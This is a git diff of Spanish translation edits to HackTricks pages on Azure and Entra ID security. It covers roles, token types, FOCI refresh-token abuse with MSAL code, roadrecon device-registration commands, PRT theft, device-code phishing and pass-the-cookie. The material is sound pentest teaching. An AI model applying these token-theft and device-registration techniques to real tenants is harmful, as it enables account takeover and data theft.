amplían las capacidades de Entra ID al ofrecer **servicios de dominio gestionados compatibles con entornos tradicionales de Windows Active Directory**. Soporta protocolos heredados como LDAP, Kerberos y NTLM, permitiendo a las organizaciones migrar o ejecutar aplicaciones más antiguas en la nube sin desplegar controladores de dominio locales. Este servicio también soporta la Política de Grupo para la gestión centralizada, haciéndolo adecuado para escenarios donde cargas de trabajo heredadas o basadas en AD necesitan coexistir con entornos modernos en la nube. ## Principales de Entra ID @@ -80,11 +80,11 @@ Los Servicios de Dominio de Entra amplían las capacidades de Entra ID al ofrece Puedes consultarlos en [https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions](https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions) pero entre otras acciones, un miembro podrá: - Leer todos los usuarios, Grupos, Aplicaciones, Dispositivos, Roles, Suscripciones y sus propiedades públicas -- Invitar Invitados (_se puede desactivar_) +- Invitar a Invitados (_se puede desactivar_) - Crear grupos de seguridad - Leer membresías de grupos no ocultos - Agregar invitados a grupos de propiedad -- Crear nueva aplicación (_se puede desactivar_) +- Crear nuevas aplicaciones (_se puede desactivar_) - Agregar hasta 50 dispositivos a Azure (_se puede desactivar_) > [!NOTE] @@ -149,7 +149,7 @@ Una **Registración de Aplicación** es una configuración que permite a una apl 1. **ID de Aplicación (Client ID):** Un identificador único para tu aplicación en Azure AD. 2. **URIs de Redirección:** URLs donde Azure AD envía respuestas de autenticación. 3. **Certificados, Secretos y Credenciales Federadas:** Es posible generar un secreto o un certificado para iniciar sesión como el principal de servicio de la aplicación, o para otorgar acceso federado a ella (por ejemplo, Github Actions). -1. Si se genera un **certificado** o **secreto**, es posible que una persona **inicie sesión como el principal de servicio** con herramientas CLI al conocer el **ID de aplicación**, el **secreto** o **certificado** y el **inquilino** (dominio o ID). +1. Si se genera un **certificado** o **secreto**, es posible que una persona **inicie sesión como el principal de servicio** con herramientas CLI conociendo el **ID de aplicación**, el **secreto** o **certificado** y el **inquilino** (dominio o ID). 4. **Permisos de API:** Especifica qué recursos o APIs puede acceder la aplicación. 5. **Configuraciones de Autenticación:** Define los flujos de autenticación soportados por la aplicación (por ejemplo, OAuth2, OpenID Connect). 6. **Principal de Servicio**: Un principal de servicio se crea cuando se crea una Aplicación (si se hace desde la consola web) o cuando se instala en un nuevo inquilino. @@ -157,7 +157,7 @@ Una **Registración de Aplicación** es una configuración que permite a una apl ### Permisos de Consentimiento Predeterminados -**Consentimiento del usuario para aplicaciones** +**Consentimiento de usuario para aplicaciones** - **No permitir el consentimiento del usuario** - Se requerirá un administrador para todas las aplicaciones. @@ -170,13 +170,13 @@ Una **Registración de Aplicación** es una configuración que permite a una apl - profile - ver el perfil básico del usuario - email - ver la dirección de correo electrónico del usuario - **Permitir el consentimiento del usuario para aplicaciones (Predeterminado)** -- Todos los usuarios pueden consentir que cualquier aplicación acceda a los datos de la organización. +- Todos los usuarios pueden consentir cualquier aplicación para acceder a los datos de la organización. **Solicitudes de consentimiento de administrador**: Predeterminado **No** - Los usuarios pueden solicitar consentimiento de administrador para aplicaciones a las que no pueden consentir - Si **Sí**: Es posible indicar Usuarios, Grupos y Roles que pueden consentir solicitudes -- Configura también si los usuarios recibirán notificaciones por correo electrónico y recordatorios de expiración +- Configurar también si los usuarios recibirán notificaciones por correo electrónico y recordatorios de expiración ### **Identidad Administrada (Metadatos)** @@ -184,8 +184,8 @@ Las identidades administradas en Azure Active Directory ofrecen una solución pa Hay dos tipos de identidades administradas: -- **Asignadas por el sistema**. Algunos servicios de Azure permiten **habilitar una identidad administrada directamente en una instancia de servicio**. Cuando habilitas una identidad administrada asignada por el sistema, se crea un **principal de servicio** en el inquilino de Entra ID confiado por la suscripción donde se encuentra el recurso. Cuando se **elimina el recurso**, Azure automáticamente **elimina** la **identidad** por ti. -- **Asignadas por el usuario**. También es posible que los usuarios generen identidades administradas. Estas se crean dentro de un grupo de recursos dentro de una suscripción y se creará un principal de servicio en el EntraID confiado por la suscripción. Luego, puedes asignar la identidad administrada a una o **más instancias** de un servicio de Azure (múltiples recursos). Para identidades administradas asignadas por el usuario, la **identidad se gestiona por separado de los recursos que la utilizan**. +- **Asignadas por el sistema**. Algunos servicios de Azure te permiten **habilitar una identidad administrada directamente en una instancia de servicio**. Cuando habilitas una identidad administrada asignada por el sistema, se crea un **principal de servicio** en el inquilino de Entra ID confiado por la suscripción donde se encuentra el recurso. Cuando se **elimina el recurso**, Azure automáticamente **elimina** la **identidad** por ti. +- **Asignadas por el usuario**. También es posible que los usuarios generen identidades administradas. Estas se crean dentro de un grupo de recursos dentro de una suscripción y se creará un principal de servicio en el EntraID confiado por la suscripción. Luego, puedes asignar la identidad administrada a una o **más instancias** de un servicio de Azure (múltiples recursos). Para las identidades administradas asignadas por el usuario, la **identidad se gestiona por separado de los recursos que la utilizan**. Las Identidades Administradas **no generan credenciales eternas** (como contraseñas o certificados) para acceder como el principal de servicio adjunto a ella. @@ -221,7 +221,7 @@ Ejemplo: ## Roles y Permisos -**Los roles** son **asignados** a **principales** en un **alcance**: `principal -[HAS ROLE]->(scope)` +**Los roles** son **asignados** a **principales** en un **alcance**: `principal -[TIENE ROL]->(alcance)` **Los roles** asignados a **grupos** son **heredados** por todos los **miembros** del grupo. @@ -237,9 +237,9 @@ Dependiendo del alcance al que se asignó el rol, el **rol** podría ser **hered ### Roles Integrados -[De la documentación: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[El control de acceso basado en roles de Azure (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) tiene varios **roles integrados de Azure** que puedes **asignar** a **usuarios, grupos, principales de servicio y identidades administradas**. Las asignaciones de roles son la forma en que controlas **el acceso a los recursos de Azure**. Si los roles integrados no satisfacen las necesidades específicas de tu organización, puedes crear tus propios [**roles personalizados de Azure**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**.** +[De la documentación: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[El control de acceso basado en roles de Azure (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) tiene varios **roles integrados de Azure** que puedes **asignar** a **usuarios, grupos, principales de servicio e identidades administradas**. Las asignaciones de roles son la forma en que controlas **el acceso a los recursos de Azure**. Si los roles integrados no satisfacen las necesidades específicas de tu organización, puedes crear tus propios [**roles personalizados de Azure**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**.** -Los roles **integrados** se aplican solo a los **recursos** para los que están **destinados**, por ejemplo, consulta estos 2 ejemplos de **roles integrados sobre recursos de Cómputo**: +Los **roles integrados** se aplican solo a los **recursos** para los que están **destinados**, por ejemplo, consulta estos 2 ejemplos de **roles integrados sobre recursos de Cómputo**: | [Lector de Copia de Seguridad de Disco](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader) | Proporciona permiso al cofre de copia de seguridad para realizar copias de seguridad de disco. | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 | | ----------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- | ------------------------------------ | @@ -295,7 +295,7 @@ Ejemplo de JSON de permisos para un rol personalizado: ### Orden de permisos - Para que un **principal tenga acceso a un recurso**, necesita que se le otorgue un rol explícito (de cualquier manera) **que le otorgue ese permiso**. -- Una asignación de rol explícita de **denegación tiene prioridad** sobre el rol que otorga el permiso. +- Una **asignación de rol de denegación explícita tiene prioridad** sobre el rol que otorga el permiso.

https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10

@@ -303,14 +303,14 @@ Ejemplo de JSON de permisos para un rol personalizado: El Administrador Global es un rol de Entra ID que otorga **control total sobre el inquilino de Entra ID**. Sin embargo, no otorga permisos sobre los recursos de Azure por defecto. -Los usuarios con el rol de Administrador Global tienen la capacidad de '**elevar' a Administrador de Acceso de Usuario en el Grupo de Gestión Raíz de Azure**. Así que los Administradores Globales pueden gestionar el acceso en **todas las suscripciones y grupos de gestión de Azure.**\ +Los usuarios con el rol de Administrador Global tienen la capacidad de '**elevar' a Administrador de Acceso de Usuario en el Grupo de Gestión Raíz de Azure**. Por lo tanto, los Administradores Globales pueden gestionar el acceso en **todas las suscripciones y grupos de gestión de Azure.**\ Esta elevación se puede hacer al final de la página: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties)
### Políticas de Azure -**Las Políticas de Azure** son reglas que ayudan a las organizaciones a asegurar que sus recursos cumplan con estándares específicos y requisitos de cumplimiento. Permiten **hacer cumplir o auditar configuraciones en recursos de Azure**. Por ejemplo, puedes prevenir la creación de máquinas virtuales en una región no autorizada o asegurar que todos los recursos tengan etiquetas específicas para el seguimiento. +**Las Políticas de Azure** son reglas que ayudan a las organizaciones a garantizar que sus recursos cumplan con estándares específicos y requisitos de cumplimiento. Permiten **hacer cumplir o auditar configuraciones en recursos de Azure**. Por ejemplo, puedes prevenir la creación de máquinas virtuales en una región no autorizada o asegurarte de que todos los recursos tengan etiquetas específicas para su seguimiento. Las Políticas de Azure son **proactivas**: pueden detener la creación o modificación de recursos no conformes. También son **reactivas**, permitiéndote encontrar y corregir recursos no conformes existentes. @@ -323,12 +323,12 @@ Las Políticas de Azure son **proactivas**: pueden detener la creación o modifi **Algunos ejemplos:** -1. **Asegurar el Cumplimiento con Regiones Específicas de Azure**: Esta política asegura que todos los recursos se desplieguen en regiones específicas de Azure. Por ejemplo, una empresa podría querer asegurar que todos sus datos se almacenen en Europa para cumplir con el GDPR. -2. **Hacer Cumplir Estándares de Nomenclatura**: Las políticas pueden hacer cumplir convenciones de nomenclatura para los recursos de Azure. Esto ayuda a organizar e identificar fácilmente los recursos según sus nombres, lo cual es útil en entornos grandes. +1. **Asegurar el Cumplimiento con Regiones Específicas de Azure**: Esta política asegura que todos los recursos se desplieguen en regiones específicas de Azure. Por ejemplo, una empresa podría querer asegurarse de que todos sus datos se almacenen en Europa para cumplir con el GDPR. +2. **Hacer Cumplir Normas de Nomenclatura**: Las políticas pueden hacer cumplir convenciones de nomenclatura para los recursos de Azure. Esto ayuda a organizar e identificar fácilmente los recursos según sus nombres, lo cual es útil en entornos grandes. 3. **Restringir Ciertos Tipos de Recursos**: Esta política puede restringir la creación de ciertos tipos de recursos. Por ejemplo, se podría establecer una política para prevenir la creación de tipos de recursos costosos, como ciertos tamaños de VM, para controlar costos. 4. **Hacer Cumplir Políticas de Etiquetado**: Las etiquetas son pares clave-valor asociados con recursos de Azure utilizados para la gestión de recursos. Las políticas pueden hacer cumplir que ciertas etiquetas deben estar presentes, o tener valores específicos, para todos los recursos. Esto es útil para el seguimiento de costos, propiedad o categorización de recursos. 5. **Limitar el Acceso Público a Recursos**: Las políticas pueden hacer cumplir que ciertos recursos, como cuentas de almacenamiento o bases de datos, no tengan puntos finales públicos, asegurando que solo sean accesibles dentro de la red de la organización. -6. **Aplicar Automáticamente Configuraciones de Seguridad**: Las políticas pueden usarse para aplicar automáticamente configuraciones de seguridad a los recursos, como aplicar un grupo de seguridad de red específico a todas las VMs o asegurar que todas las cuentas de almacenamiento utilicen cifrado. +6. **Aplicar Automáticamente Configuraciones de Seguridad**: Las políticas pueden usarse para aplicar automáticamente configuraciones de seguridad a los recursos, como aplicar un grupo de seguridad de red específico a todas las VMs o asegurarse de que todas las cuentas de almacenamiento utilicen cifrado. Ten en cuenta que las Políticas de Azure pueden adjuntarse a cualquier nivel de la jerarquía de Azure, pero se utilizan **comúnmente en el grupo de gestión raíz** o en otros grupos de gestión. @@ -352,7 +352,7 @@ Ejemplo de política de Azure en json: ``` ### Herencia de Permisos -En Azure **los permisos pueden ser asignados a cualquier parte de la jerarquía**. Eso incluye grupos de gestión, suscripciones, grupos de recursos y recursos individuales. Los permisos son **heredados** por los **recursos** contenidos de la entidad donde fueron asignados. +En Azure **los permisos se pueden asignar a cualquier parte de la jerarquía**. Eso incluye grupos de gestión, suscripciones, grupos de recursos y recursos individuales. Los permisos son **heredados** por los **recursos** contenidos de la entidad donde fueron asignados. Esta estructura jerárquica permite una gestión eficiente y escalable de los permisos de acceso. diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md index 798dfb4b2..d3bb20718 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md @@ -1,8 +1,8 @@ -# Az - Tokens & Public Applications +# Az - Tokens y Aplicaciones Públicas {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica Entra ID es la plataforma de gestión de identidad y acceso (IAM) basada en la nube de Microsoft, que sirve como el sistema fundamental de autenticación y autorización para servicios como Microsoft 365 y Azure Resource Manager. Azure AD implementa el marco de autorización OAuth 2.0 y el protocolo de autenticación OpenID Connect (OIDC) para gestionar el acceso a los recursos. @@ -13,7 +13,7 @@ Entra ID es la plataforma de gestión de identidad y acceso (IAM) basada en la n 1. **Servidor de Recursos (RS):** Protege los recursos propiedad del propietario del recurso. 2. **Propietario del Recurso (RO):** Típicamente un usuario final que posee los recursos protegidos. 3. **Aplicación Cliente (CA):** Una aplicación que busca acceso a recursos en nombre del propietario del recurso. -4. **Servidor de Autorización (AS):** Emite tokens de acceso a las aplicaciones cliente después de autenticar y autorizar. +4. **Servidor de Autorización (AS):** Emite tokens de acceso a las aplicaciones cliente después de autenticarlas y autorizarlas. **Ámbitos y Consentimiento:** @@ -38,21 +38,21 @@ Entra ID es la plataforma de gestión de identidad y acceso (IAM) basada en la n - No pueden autenticarse de forma segura ante el servidor de autorización. - **Implicación de Seguridad:** Un atacante puede suplantar una aplicación cliente pública al solicitar tokens, ya que no hay un mecanismo para que el servidor de autorización verifique la legitimidad de la aplicación. -## Authentication Tokens +## Tokens de Autenticación Hay **tres tipos de tokens** utilizados en OIDC: -- [**Tokens de Acceso**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** El cliente presenta este token al servidor de recursos para **acceder a los recursos**. Solo se puede usar para una combinación específica de usuario, cliente y recurso y **no puede ser revocado** hasta su expiración - que es de 1 hora por defecto. +- [**Tokens de Acceso**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** El cliente presenta este token al servidor de recursos para **acceder a los recursos**. Solo se puede usar para una combinación específica de usuario, cliente y recurso y **no puede ser revocado** hasta su expiración, que es de 1 hora por defecto. - **Tokens de ID**: El cliente recibe este **token del servidor de autorización**. Contiene información básica sobre el usuario. Está **vinculado a una combinación específica de usuario y cliente**. -- **Tokens de Actualización**: Proporcionados al cliente con el token de acceso. Se utilizan para **obtener nuevos tokens de acceso e ID**. Está vinculado a una combinación específica de usuario y cliente y puede ser revocado. La expiración por defecto es **90 días** para tokens de actualización inactivos y **sin expiración para tokens activos** (es posible obtener nuevos tokens de actualización a partir de un token de actualización). -- Un token de actualización debe estar vinculado a un **`aud`**, a algunos **ámbitos**, y a un **inquilino** y solo debería poder generar tokens de acceso para ese aud, ámbitos (y no más) e inquilino. Sin embargo, este no es el caso con **tokens de aplicaciones FOCI**. +- **Tokens de Actualización**: Proporcionados al cliente junto con el token de acceso. Se utilizan para **obtener nuevos tokens de acceso e ID**. Está vinculado a una combinación específica de usuario y cliente y puede ser revocado. La expiración por defecto es de **90 días** para tokens de actualización inactivos y **sin expiración para tokens activos** (es posible obtener nuevos tokens de actualización a partir de un token de actualización). +- Un token de actualización debe estar vinculado a un **`aud`**, a algunos **ámbitos**, y a un **inquilino** y solo debería poder generar tokens de acceso para ese aud, ámbitos (y no más) e inquilino. Sin embargo, este no es el caso con los **tokens de aplicaciones FOCI**. - Un token de actualización está cifrado y solo Microsoft puede descifrarlo. - Obtener un nuevo token de actualización no revoca el token de actualización anterior. > [!WARNING] > La información para **acceso condicional** está **almacenada** dentro del **JWT**. Así que, si solicitas el **token desde una dirección IP permitida**, esa **IP** será **almacenada** en el token y luego puedes usar ese token desde una **IP no permitida para acceder a los recursos**. -### Access Tokens "aud" +### Tokens de Acceso "aud" El campo indicado en el campo "aud" es el **servidor de recursos** (la aplicación) utilizado para realizar el inicio de sesión. @@ -65,36 +65,36 @@ El comando `az account get-access-token --resource-type [...]` admite los siguie ejemplos de aud -- **aad-graph (Azure Active Directory Graph API)**: Utilizado para acceder a la API de Azure AD Graph heredada (obsoleta), que permite a las aplicaciones leer y escribir datos de directorio en Azure Active Directory (Azure AD). +- **aad-graph (API de Azure Active Directory Graph)**: Utilizado para acceder a la API de Azure AD Graph heredada (obsoleta), que permite a las aplicaciones leer y escribir datos de directorio en Azure Active Directory (Azure AD). - `https://graph.windows.net/` * **arm (Azure Resource Manager)**: Utilizado para gestionar recursos de Azure a través de la API de Azure Resource Manager. Esto incluye operaciones como crear, actualizar y eliminar recursos como máquinas virtuales, cuentas de almacenamiento, y más. - `https://management.core.windows.net/ o https://management.azure.com/` -- **batch (Azure Batch Services)**: Utilizado para acceder a Azure Batch, un servicio que permite aplicaciones de computación paralela y de alto rendimiento a gran escala de manera eficiente en la nube. +- **batch (Servicios de Azure Batch)**: Utilizado para acceder a Azure Batch, un servicio que permite aplicaciones de computación paralela y de alto rendimiento a gran escala de manera eficiente en la nube. - `https://batch.core.windows.net/` -* **data-lake (Azure Data Lake Storage)**: Utilizado para interactuar con Azure Data Lake Storage Gen1, que es un servicio de almacenamiento y análisis de datos escalable. +* **data-lake (Almacenamiento de Azure Data Lake)**: Utilizado para interactuar con Azure Data Lake Storage Gen1, que es un servicio de almacenamiento y análisis de datos escalable. - `https://datalake.azure.net/` -- **media (Azure Media Services)**: Utilizado para acceder a Azure Media Services, que proporciona servicios de procesamiento y entrega de medios basados en la nube para contenido de video y audio. +- **media (Servicios de Azure Media)**: Utilizado para acceder a Azure Media Services, que proporcionan servicios de procesamiento y entrega de medios basados en la nube para contenido de video y audio. - `https://rest.media.azure.net` -* **ms-graph (Microsoft Graph API)**: Utilizado para acceder a la API de Microsoft Graph, el punto de acceso unificado para los datos de servicios de Microsoft 365. Permite acceder a datos e información de servicios como Azure AD, Office 365, Enterprise Mobility y servicios de Seguridad. +* **ms-graph (API de Microsoft Graph)**: Utilizado para acceder a la API de Microsoft Graph, el punto de acceso unificado para los datos de servicios de Microsoft 365. Permite acceder a datos e información de servicios como Azure AD, Office 365, Enterprise Mobility y servicios de Seguridad. - `https://graph.microsoft.com` -- **oss-rdbms (Azure Open Source Relational Databases)**: Utilizado para acceder a los servicios de base de datos de Azure para motores de bases de datos relacionales de código abierto como MySQL, PostgreSQL y MariaDB. +- **oss-rdbms (Bases de Datos Relacionales de Código Abierto de Azure)**: Utilizado para acceder a los servicios de base de datos de Azure para motores de bases de datos relacionales de código abierto como MySQL, PostgreSQL y MariaDB. - `https://ossrdbms-aad.database.windows.net` -### Access Tokens Scopes "scp" +### Ámbitos de Tokens de Acceso "scp" El ámbito de un token de acceso se almacena dentro de la clave scp dentro del JWT del token de acceso. Estos ámbitos definen a qué tiene acceso el token de acceso. Si un JWT tiene permitido contactar una API específica pero **no tiene el ámbito** para realizar la acción solicitada, **no podrá realizar la acción** con ese JWT. -### Get refresh & access token example +### Ejemplo de obtención de token de actualización y acceso ```python # Code example from https://github.com/secureworks/family-of-client-ids-research import msal @@ -121,7 +121,6 @@ device_flow pprint(azure_cli_bearer_tokens_for_graph_api) - # DECODE JWT def decode_jwt(base64_blob: str) -> Dict[str, Any]: """Decodes base64 encoded JWT blob""" @@ -149,7 +148,7 @@ pprint(new_azure_cli_bearer_tokens_for_graph_api) Anteriormente se mencionó que los tokens de actualización deben estar vinculados a los **alcances** con los que se generaron, a la **aplicación** y al **inquilino** para el que se generaron. Si se rompe alguno de estos límites, es posible escalar privilegios, ya que será posible generar tokens de acceso a otros recursos e inquilinos a los que el usuario tiene acceso y con más alcances de los que se pretendía originalmente. -Además, **esto es posible con todos los tokens de actualización** en la [plataforma de identidad de Microsoft](https://learn.microsoft.com/en-us/entra/identity-platform/) (cuentas de Microsoft Entra, cuentas personales de Microsoft y cuentas sociales como Facebook y Google) porque, como mencionan los [**documentos**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens): "Los tokens de actualización están vinculados a una combinación de usuario y cliente, pero **no están vinculados a un recurso o inquilino**. Un cliente puede usar un token de actualización para adquirir tokens de acceso **a través de cualquier combinación de recurso e inquilino** donde tenga permiso para hacerlo. Los tokens de actualización están encriptados y solo la plataforma de identidad de Microsoft puede leerlos." +Además, **esto es posible con todos los tokens de actualización** en la [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (cuentas de Microsoft Entra, cuentas personales de Microsoft y cuentas sociales como Facebook y Google) porque, como mencionan los [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens): "Los tokens de actualización están vinculados a una combinación de usuario y cliente, pero **no están vinculados a un recurso o inquilino**. Un cliente puede usar un token de actualización para adquirir tokens de acceso **a través de cualquier combinación de recurso e inquilino** donde tenga permiso para hacerlo. Los tokens de actualización están encriptados y solo la Microsoft identity platform puede leerlos." Además, tenga en cuenta que las aplicaciones FOCI son aplicaciones públicas, por lo que **no se necesita ningún secreto** para autenticarse en el servidor. diff --git a/src/pentesting-cloud/azure-security/az-device-registration.md b/src/pentesting-cloud/azure-security/az-device-registration.md index 5ee6e1c97..1786239bd 100644 --- a/src/pentesting-cloud/azure-security/az-device-registration.md +++ b/src/pentesting-cloud/azure-security/az-device-registration.md @@ -35,7 +35,7 @@ az-lateral-movement-cloud-on-prem/pass-the-prt.md ## Registrando un dispositivo con tokens SSO -Sería posible para un atacante solicitar un token para el servicio de registro de dispositivos de Microsoft desde el dispositivo comprometido y registrarlo: +Sería posible que un atacante solicitara un token para el servicio de registro de dispositivos de Microsoft desde el dispositivo comprometido y lo registrara: ```bash # Initialize SSO flow roadrecon auth prt-init @@ -57,7 +57,7 @@ Lo que te dará un **certificado que puedes usar para solicitar PRTs en el futur ## Sobrescribiendo un ticket de dispositivo -Era posible **solicitar un ticket de dispositivo**, **sobrescribir** el actual del dispositivo, y durante el flujo **robar el PRT** (por lo que no es necesario robarlo del TPM. Para más información [**consulta esta charla**](https://youtu.be/BduCn8cLV1A). +Era posible **solicitar un ticket de dispositivo**, **sobrescribir** el actual del dispositivo y durante el flujo **robar el PRT** (por lo que no es necesario robarlo del TPM. Para más información [**consulta esta charla**](https://youtu.be/BduCn8cLV1A).
@@ -86,7 +86,7 @@ y luego PATCH la información del searchableDeviceKey:
-Es posible obtener un token de acceso de un usuario a través de **phishing de código de dispositivo** y abusar de los pasos anteriores para **robar su acceso**. Para más información, consulta: +Es posible obtener un token de acceso de un usuario a través de **phishing de código de dispositivo** y abusar de los pasos anteriores para **robar su acceso**. Para más información consulta: {{#ref}} az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md index 3983cc2fa..bca500cab 100644 --- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md +++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md @@ -1,4 +1,4 @@ -# Az - Enumeration Tools +# Az - Herramientas de Enumeración {{#include ../../banners/hacktricks-training.md}} @@ -34,7 +34,7 @@ Instrucciones de la [**documentación**](https://learn.microsoft.com/en-us/power ```bash /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" ``` -2. Instale la última versión estable de PowerShell: +2. Instala la última versión estable de PowerShell: ```sh brew install powershell/tap/powershell ``` @@ -57,13 +57,13 @@ Sigue este enlace para las [**instrucciones de instalación¡**](https://learn.m Los comandos en Azure CLI están estructurados utilizando un patrón de: `az ` -#### Depuración | MitM az cli +#### Depurar | MitM az cli Usando el parámetro **`--debug`** es posible ver todas las solicitudes que la herramienta **`az`** está enviando: ```bash az account management-group list --output table --debug ``` -Para hacer un **MitM** a la herramienta y **ver todas las solicitudes** que está enviando manualmente, puedes hacer: +Para realizar un **MitM** a la herramienta y **verificar todas las solicitudes** que está enviando manualmente, puedes hacer: {{#tabs }} {{#tab name="Bash" }} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md index 2f0aede61..41000b9c4 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md @@ -28,12 +28,12 @@ Hay diferentes formas en que una máquina puede estar conectada a la nube: En Azure AD, hay diferentes tipos de tokens con limitaciones específicas: -- **Tokens de acceso**: Utilizados para acceder a APIs y recursos como Microsoft Graph. Están vinculados a un cliente y recurso específicos. -- **Tokens de actualización**: Emitidos a aplicaciones para obtener nuevos tokens de acceso. Solo pueden ser utilizados por la aplicación a la que fueron emitidos o un grupo de aplicaciones. -- **Tokens de actualización primarios (PRT)**: Utilizados para el inicio de sesión único en dispositivos unidos a Azure AD, registrados o unidos de forma híbrida. Pueden ser utilizados en flujos de inicio de sesión en navegadores y para iniciar sesión en aplicaciones móviles y de escritorio en el dispositivo. -- **Claves de Windows Hello for Business (WHFB)**: Utilizadas para autenticación sin contraseña. Se utilizan para obtener Tokens de Actualización Primarios. +- **Access tokens**: Utilizados para acceder a APIs y recursos como Microsoft Graph. Están vinculados a un cliente y recurso específicos. +- **Refresh tokens**: Emitidos a aplicaciones para obtener nuevos access tokens. Solo pueden ser utilizados por la aplicación a la que fueron emitidos o un grupo de aplicaciones. +- **Primary Refresh Tokens (PRT)**: Utilizados para el inicio de sesión único en dispositivos unidos a Azure AD, registrados o unidos de forma híbrida. Pueden ser utilizados en flujos de inicio de sesión en navegadores y para iniciar sesión en aplicaciones móviles y de escritorio en el dispositivo. +- **Windows Hello for Business keys (WHFB)**: Utilizados para autenticación sin contraseña. Se utilizan para obtener Primary Refresh Tokens. -El tipo de token más interesante es el Token de Actualización Primario (PRT). +El tipo de token más interesante es el Primary Refresh Token (PRT). {{#ref}} az-primary-refresh-token-prt.md @@ -43,11 +43,11 @@ az-primary-refresh-token-prt.md Desde la **máquina comprometida a la nube**: -- [**Pasar la Cookie**](az-pass-the-cookie.md): Robar cookies de Azure del navegador y usarlas para iniciar sesión -- [**Volcar tokens de acceso de procesos**](az-processes-memory-access-token.md): Volcar la memoria de procesos locales sincronizados con la nube (como excel, Teams...) y encontrar tokens de acceso en texto claro. -- [**Phishing del Token de Actualización Primario**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** Phishing del PRT para abusar de él -- [**Pasar el PRT**](pass-the-prt.md): Robar el PRT del dispositivo para acceder a Azure impersonándolo. -- [**Pasar el Certificado**](az-pass-the-certificate.md)**:** Generar un certificado basado en el PRT para iniciar sesión de una máquina a otra +- [**Pass the Cookie**](az-pass-the-cookie.md): Robar cookies de Azure del navegador y usarlas para iniciar sesión +- [**Dump processes access tokens**](az-processes-memory-access-token.md): Volcar la memoria de procesos locales sincronizados con la nube (como excel, Teams...) y encontrar access tokens en texto claro. +- [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** Phishing del PRT para abusar de él +- [**Pass the PRT**](pass-the-prt.md): Robar el PRT del dispositivo para acceder a Azure impersonándolo. +- [**Pass the Certificate**](az-pass-the-certificate.md)**:** Generar un certificado basado en el PRT para iniciar sesión de una máquina a otra Desde comprometer **AD** hasta comprometer la **Nube** y desde comprometer la **Nube** hasta comprometer **AD**: diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md index 7349cffce..4aa551989 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md @@ -13,7 +13,7 @@ Cuando se ejecuta, el script DeployGPO.ps1 realiza las siguientes acciones: Al ejecutar este script, los administradores del sistema deben proporcionar dos parámetros principales: **ServicePrincipalId** y **ServicePrincipalClientSecret**. Además, requiere otros parámetros como el dominio, el FQDN del servidor que aloja el recurso compartido y el nombre del recurso compartido. También se deben proporcionar más detalles como el ID del inquilino, el grupo de recursos y otra información necesaria al script. -Se genera un secreto cifrado en el directorio AzureArcDeploy en el recurso compartido especificado utilizando cifrado DPAPI-NG. El secreto cifrado se almacena en un archivo llamado encryptedServicePrincipalSecret. La evidencia de esto se puede encontrar en el script DeployGPO.ps1, donde el cifrado se realiza llamando a ProtectBase64 con $descriptor y $ServicePrincipalSecret como entradas. El descriptor consiste en los SIDs del grupo de Computadoras de Dominio y Controladores de Dominio, asegurando que el ServicePrincipalSecret solo pueda ser descifrado por los Controladores de Dominio y los grupos de seguridad de Computadoras de Dominio, como se indica en los comentarios del script. +Se genera un secreto cifrado en el directorio AzureArcDeploy en el recurso compartido especificado utilizando cifrado DPAPI-NG. El secreto cifrado se almacena en un archivo llamado encryptedServicePrincipalSecret. La evidencia de esto se puede encontrar en el script DeployGPO.ps1, donde el cifrado se realiza llamando a ProtectBase64 con $descriptor y $ServicePrincipalSecret como entradas. El descriptor consiste en los SIDs del grupo de Computadoras de Dominio y Controladores de Dominio, asegurando que el ServicePrincipalSecret solo pueda ser descifrado por los Controladores de Dominio y grupos de seguridad de Computadoras de Dominio, como se indica en los comentarios del script. ```powershell # Encrypting the ServicePrincipalSecret to be decrypted only by 